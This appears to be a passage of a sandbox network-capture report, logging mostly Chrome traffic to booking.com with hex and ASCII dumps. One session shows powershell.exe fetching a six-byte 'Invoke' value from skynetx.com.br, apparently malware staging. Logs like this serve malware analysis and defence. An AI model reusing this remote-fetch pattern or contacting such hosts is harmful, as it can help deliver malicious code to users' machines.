2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 73 29 2e 22 2c 22 70 61 74 74 65 72 6e 4b 65 79 22 3a 22 61 77 22 2c 22 74 68 69 72 64 50 61 72 74 79 4b 65 79 22 3a 22 50 61 74 74 65 72 6e 7c 61 77 22 2c 22 66 69 72 73 74 50 61 72 74 79 4b 65 79 22 3a 22 50 61 74 74 65 72 6e 7c 61 77 22 2c 22 44 75 72 61 74 69 6f 6e 54 79 70 65 22 3a 31 2c 22 63 61 74 65 67 6f 72 79 22 3a 6e 75 6c 6c 2c 22 69 73 54 68 69 72 64 50 61 72 74 79 22 3a 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a 22 33 63 61 37 32 37 31 37 2d 30 66 31 62 2d 34 36 38 36 2d 62 39 65 33 2d 35 32 30 30 61 64 33 65 66 63 38 31 22 2c 22 4e 61 6d 65 22 3a 22 70 63 6d 5f 76 65 72 69 66 69 65 64 22 2c 22 48 6f 73 74 22 3a 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 49 73 53 65 73 73 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 4c 65 6e 67 74 68 22 3a 22 31 38 30 Data Ascii: s).","patternKey":"aw","thirdPartyKey":"Pattern\|aw","firstPartyKey":"Pattern\|aw","DurationType":1,"category":null,"isThirdParty":false},{"id":"3ca72717-0f1b-4686-b9e3-5200ad3efc81","Name":"pcm_verified","Host":"booking.com","IsSession":false,"Length":"180
2024-11-02 13:00:17 UTC	1249	IN	Data Raw: 61 73 20 70 61 72 74 20 6f 66 20 50 65 72 69 6d 65 74 65 72 58 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 73 2e 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 72 6f 70 70 65 64 20 62 79 20 53 65 63 75 72 69 74 79 20 74 65 61 6d 20 61 73 20 70 61 72 74 20 6f 66 20 50 65 72 69 6d 65 74 65 72 58 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 73 2e 22 2c 22 70 61 74 74 65 72 6e 4b 65 79 22 3a 6e 75 6c 6c 2c 22 74 68 69 72 64 50 61 72 74 79 4b 65 79 22 3a 6e 75 6c 6c 2c 22 66 69 72 73 74 50 61 72 74 79 4b 65 79 22 3a 6e 75 6c 6c 2c 22 44 75 72 61 74 69 6f 6e 54 79 70 65 22 3a 31 2c 22 63 61 74 65 67 6f 72 79 22 3a 6e 75 6c 6c 2c 22 69 73 54 68 69 72 64 50 61 72 74 79 22 3a 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a Data Ascii: as part of PerimeterX security services.","thirdPartyDescription":"Dropped by Security team as part of PerimeterX security services.","patternKey":null,"thirdPartyKey":null,"firstPartyKey":null,"DurationType":1,"category":null,"isThirdParty":false},{"id":
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 22 2c 22 4e 61 6d 65 22 3a 22 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 22 2c 22 48 6f 73 74 22 3a 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 49 73 53 65 73 73 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 4c 65 6e 67 74 68 22 3a 22 31 38 32 34 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 6d 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 69 6e 67 6c 65 20 73 69 67 6e 2d 6f 6e 20 28 53 53 4f 29 20 73 6f 6c 75 74 69 6f 6e 2c 20 70 61 73 73 69 6e 67 20 73 69 67 6e 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 6f 74 68 65 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 75 62 64 6f 6d 61 69 6e 73 2e 20 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 Data Ascii: 7ffa","Name":"bkng_sso_ses","Host":"booking.com","IsSession":false,"Length":"1824","description":"Forms part of the account.booking.com single sign-on (SSO) solution, passing sign in information to other Booking.com subdomains. ","thirdPartyDescription"
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a 22 30 31 64 35 35 36 37 63 2d 33 34 30 35 2d 34 39 31 62 2d 61 66 36 61 2d 35 65 61 36 63 34 37 30 63 32 35 63 22 2c 22 4e 61 6d 65 22 3a 22 5f 70 78 76 69 64 22 2c 22 48 6f 73 74 22 3a 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 49 73 53 65 73 73 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 4c 65 6e 67 74 68 22 3a 22 37 33 30 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 72 6f 70 70 65 64 20 62 79 20 53 65 63 75 72 69 74 79 20 74 65 61 6d 20 61 73 20 70 61 72 74 20 6f 66 20 50 65 72 69 6d 65 74 65 72 58 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 73 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 72 6f 70 70 65 64 20 62 79 20 53 65 63 75 72 69 74 79 20 74 65 61 6d 20 61 73 Data Ascii: false},{"id":"01d5567c-3405-491b-af6a-5ea6c470c25c","Name":"_pxvid","Host":"booking.com","IsSession":false,"Length":"730","description":"Dropped by Security team as part of PerimeterX security services","thirdPartyDescription":"Dropped by Security team as
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 6d 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 69 6e 67 6c 65 20 73 69 67 6e 2d 6f 6e 20 28 53 53 4f 29 20 73 6f 6c 75 74 69 6f 6e 2c 20 70 61 73 73 69 6e 67 20 73 69 67 6e 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 6f 74 68 65 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 75 62 64 6f 6d 61 69 6e 73 2e 20 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 6d 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 69 6e 67 6c 65 20 73 69 67 6e 2d 6f 6e 20 28 53 53 4f 29 20 73 6f 6c 75 74 69 6f 6e 2c 20 70 61 73 73 69 6e 67 20 73 69 67 6e 20 69 6e Data Ascii: description":"Forms part of the account.booking.com single sign-on (SSO) solution, passing sign in information to other Booking.com subdomains. ","thirdPartyDescription":"Forms part of the account.booking.com single sign-on (SSO) solution, passing sign in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49768	104.18.87.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	382	OUT	GET /scripttemplates/202408.1.0/otBannerSdk.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:17 UTC	907	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:17 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-MD5: cSmNeMyDkvSieWRwSFHuAQ== Last-Modified: Tue, 10 Sep 2024 03:34:09 GMT x-ms-request-id: 6b6641f2-401e-0066-1c0b-2421d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Age: 20356 Expires: Sun, 03 Nov 2024 07:21:01 GMT Cache-Control: public, max-age=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8dc44e7eace92d3e-DFW
2024-11-02 13:00:17 UTC	462	IN	Data Raw: 37 63 31 35 0d 0a 2f 2a 2a 20 0a 20 2a 20 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 0a 20 2a 20 76 32 30 32 34 30 38 2e 31 2e 30 0a 20 2a 20 62 79 20 4f 6e 65 54 72 75 73 74 20 4c 4c 43 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 78 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6f 20 69 6e Data Ascii: 7c15/** * onetrust-banner-sdk * v202408.1.0 * by OneTrust LLC * Copyright 2024 */!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 6f 28 29 7b 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 78 28 65 2c 74 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 3d 3d 3d 74 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 29 3a 28 6f 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6f 29 7d 76 61 72 20 48 2c 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 52 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 3c 6e 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f Data Ascii: tion o(){this.constructor=e}x(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnPro
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 3e 61 5b 30 5d 26 26 74 5b 31 5d 3c 61 5b 33 5d 29 29 6c 2e 6c 61 62 65 6c 3d 74 5b 31 5d 3b 65 6c 73 65 20 69 66 28 36 3d 3d 3d 74 5b 30 5d 26 26 6c 2e 6c 61 62 65 6c 3c 61 5b 31 5d 29 6c 2e 6c 61 62 65 6c 3d 61 5b 31 5d 2c 61 3d 74 3b 65 6c 73 65 7b 69 66 28 21 28 61 26 26 6c 2e 6c 61 62 65 6c 3c 61 5b 32 5d 29 29 7b 61 5b 32 5d 26 26 6c 2e 6f 70 73 2e 70 6f 70 28 29 2c 6c 2e 74 72 79 73 2e 70 6f 70 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 6c 2e 6c 61 62 65 6c 3d 61 5b 32 5d 2c 6c 2e 6f 70 73 2e 70 75 73 68 28 74 29 7d 7d 74 3d 72 2e 63 61 6c 6c 28 6e 2c 6c 29 7d 63 61 74 63 68 28 65 29 7b 74 3d 5b 36 2c 65 5d 2c 73 3d 30 7d 66 69 6e 61 6c 6c 79 7b 69 3d 61 3d 30 7d 69 66 28 35 26 74 5b 30 5d 29 74 68 72 6f 77 20 74 5b 31 5d 3b 72 65 74 75 72 6e 7b 76 61 6c Data Ascii: >a[0]&&t[1]<a[3]))l.label=t[1];else if(6===t[0]&&l.label<a[1])l.label=a[1],a=t;else{if(!(a&&l.label<a[2])){a[2]&&l.ops.pop(),l.trys.pop();continue}l.label=a[2],l.ops.push(t)}}t=r.call(n,l)}catch(e){t=[6,e],s=0}finally{i=a=0}if(5&t[0])throw t[1];return{val
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 65 64 20 77 69 74 68 20 69 74 73 65 6c 66 2e 22 29 3b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 7b 76 61 72 20 6f 3d 65 2e 74 68 65 6e 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 7a 29 72 65 74 75 72 6e 20 74 2e 5f 73 74 61 74 65 3d 33 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 76 6f 69 64 20 4a 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 29 72 65 74 75 72 6e 20 76 6f 69 64 20 51 28 28 6e 3d 6f 2c 72 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 61 70 70 6c 79 28 72 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 4a 28 74 29 7d 63 61 74 63 68 28 Data Ascii: ed with itself.");if(e&&("object"==typeof e\|\|"function"==typeof e)){var o=e.then;if(e instanceof z)return t._state=3,t._value=e,void J(t);if("function"==typeof o)return void Q((n=o,r=e,function(){n.apply(r,arguments)}),t)}t._state=1,t._value=e,J(t)}catch(
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 74 72 79 7b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 7b 76 61 72 20 6e 3d 65 2e 74 68 65 6e 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 6e 2e 63 61 6c 6c 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 28 6f 2c 65 29 7d 2c 69 29 7d 73 5b 6f 5d 3d 65 2c 30 3d 3d 2d 2d 61 26 26 72 28 73 29 7d 63 61 74 63 68 28 65 29 7b 69 28 65 29 7d 7d 28 65 2c 73 5b 65 5d 29 7d 29 7d 2c 7a 2e 72 65 73 6f 6c 76 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 7a 3f 74 3a 6e Data Ascii: try{if(e&&("object"==typeof e\|\|"function"==typeof e)){var n=e.then;if("function"==typeof n)return void n.call(e,function(e){t(o,e)},i)}s[o]=e,0==--a&&r(s)}catch(e){i(e)}}(e,s[e])})},z.resolve=function(t){return t&&"object"==typeof t&&t.constructor===z?t:n
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 28 30 3c 3d 61 3f 69 3d 61 3a 28 69 3d 72 2b 61 29 3c 30 26 26 28 69 3d 30 29 3b 69 3c 72 3b 29 7b 69 66 28 65 3d 3d 3d 28 73 3d 6e 5b 69 5d 29 7c 7c 65 21 3d 65 26 26 73 21 3d 73 29 72 65 74 75 72 6e 21 30 3b 69 2b 2b 7d 7d 72 65 74 75 72 6e 21 31 7d 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 2c 5a 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 45 6e 64 73 57 69 74 68 50 6f 6c 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 64 73 57 69 74 68 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 Data Ascii: (0<=a?i=a:(i=r+a)<0&&(i=0);i<r;){if(e===(s=n[i])\|\|e!=e&&s!=s)return!0;i++}}return!1},writable:!0,configurable:!0})},Z.prototype.initEndsWithPoly=function(){String.prototype.endsWith\|\|Object.defineProperty(String.prototype,"endsWith",{value:function(e,t){r
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 69 29 26 26 28 6f 5b 69 5d 3d 72 5b 69 5d 29 7d 72 65 74 75 72 6e 20 6f 7d 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 2c 5a 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 41 72 72 61 79 46 69 6c 6c 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 6c 6c 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2c 22 66 69 6c 6c 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 74 68 69 73 20 69 73 20 Data Ascii: e.hasOwnProperty.call(r,i)&&(o[i]=r[i])}return o},writable:!0,configurable:!0})},Z.prototype.initArrayFillPolyfill=function(){Array.prototype.fill\|\|Object.defineProperty(Array.prototype,"fill",{value:function(e){if(null==this)throw new TypeError("this is
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 3d 33 5d 3d 22 41 63 63 65 70 74 41 6c 6c 22 2c 65 5b 65 2e 52 65 6a 65 63 74 41 6c 6c 3d 34 5d 3d 22 52 65 6a 65 63 74 41 6c 6c 22 2c 65 5b 65 2e 42 61 6e 6e 65 72 53 61 76 65 53 65 74 74 69 6e 67 73 3d 35 5d 3d 22 42 61 6e 6e 65 72 53 61 76 65 53 65 74 74 69 6e 67 73 22 2c 65 5b 65 2e 43 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 69 6e 67 42 75 74 74 6f 6e 3d 36 5d 3d 22 43 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 69 6e 67 42 75 74 74 6f 6e 22 2c 28 65 3d 65 65 3d 65 65 7c 7c 7b 7d 29 5b 65 2e 42 61 6e 6e 65 72 3d 31 5d 3d 22 42 61 6e 6e 65 72 22 2c 65 5b 65 2e 50 43 3d 32 5d 3d 22 50 43 22 2c 65 5b 65 2e 41 50 49 3d 33 5d 3d 22 41 50 49 22 2c 28 65 3d 74 65 3d 74 65 7c 7c 7b 7d 29 2e 41 63 63 65 70 74 41 6c 6c 3d 22 Data Ascii: =3]="AcceptAll",e[e.RejectAll=4]="RejectAll",e[e.BannerSaveSettings=5]="BannerSaveSettings",e[e.ContinueWithoutAcceptingButton=6]="ContinueWithoutAcceptingButton",(e=ee=ee\|\|{})[e.Banner=1]="Banner",e[e.PC=2]="PC",e[e.API=3]="API",(e=te=te\|\|{}).AcceptAll="
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 65 5b 65 5b 22 42 61 6e 6e 65 72 20 2d 20 43 6c 6f 73 65 22 5d 3d 33 5d 3d 22 42 61 6e 6e 65 72 20 2d 20 43 6c 6f 73 65 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 41 6c 6c 6f 77 20 41 6c 6c 22 5d 3d 34 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 41 6c 6c 6f 77 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 5d 3d 35 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 5d 3d 36 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 Data Ascii: e[e["Banner - Close"]=3]="Banner - Close",e[e["Preference Center - Allow All"]=4]="Preference Center - Allow All",e[e["Preference Center - Reject All"]=5]="Preference Center - Reject All",e[e["Preference Center - Confirm"]=6]="Preference Center - Confirm"
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 74 6f 72 61 67 65 22 2c 65 2e 61 64 5f 75 73 65 72 5f 64 61 74 61 3d 22 61 64 5f 75 73 65 72 5f 64 61 74 61 22 2c 65 2e 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 3d 22 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 2c 65 2e 72 65 67 69 6f 6e 3d 22 72 65 67 69 6f 6e 22 2c 65 2e 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 3d 22 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 22 2c 28 65 3d 41 65 3d 41 65 7c 7c 7b 7d 29 2e 67 72 61 6e 74 65 64 3d 22 67 72 61 6e 74 65 64 22 2c 65 2e 64 65 6e 69 65 64 3d 22 64 65 6e 69 65 64 22 2c 30 2c 28 65 3d 49 65 3d 49 65 7c 7c 7b 7d 29 2e 4f 42 4a 45 43 54 5f 54 4f 5f 4c 49 3d 22 4f 62 6a 65 63 74 54 6f 4c 49 22 2c 65 2e 4c 49 5f 41 43 54 49 56 45 5f 49 46 5f 4c 45 47 41 4c 5f 42 41 53 49 53 3d 22 4c Data Ascii: torage",e.ad_user_data="ad_user_data",e.ad_personalization="ad_personalization",e.region="region",e.wait_for_update="wait_for_update",(e=Ae=Ae\|\|{}).granted="granted",e.denied="denied",0,(e=Ie=Ie\|\|{}).OBJECT_TO_LI="ObjectToLI",e.LI_ACTIVE_IF_LEGAL_BASIS="L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49767	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:17 UTC	156	OUT	GET /license/2/1invoke.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:17 UTC	209	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:14 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:29:35 GMT Accept-Ranges: bytes Content-Length: 6 Connection: close Content-Type: application/pdf
2024-11-02 13:00:17 UTC	6	IN	Data Raw: 49 6e 76 6f 6b 65 Data Ascii: Invoke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49770	108.138.233.92	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:17 UTC	389	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:17 UTC	799	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Fri, 04 Oct 2024 21:10:10 GMT Last-Modified: Mon, 07 Sep 2020 10:40:08 GMT ETag: "5f560e08-282" Expires: Sun, 03 Nov 2024 21:10:10 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 e8562587f0ff484dff67f98bff7aa74c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR61-P4 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: FbANw3VD1gSbM0ULi12AYyHNDnFgm8r6ai7lag7Od6inCgd4F9BhHQ== Age: 2476207
2024-11-02 13:00:17 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49776	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:17 UTC	1126	OUT	GET /b0bkldkg6hejew1y.js?hs1wxq1xi0kkzaob=doregtzf&7vh2vy0pyfc6f8vk=1a0be17c-3152-46c0-a97b-914483824c57 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; 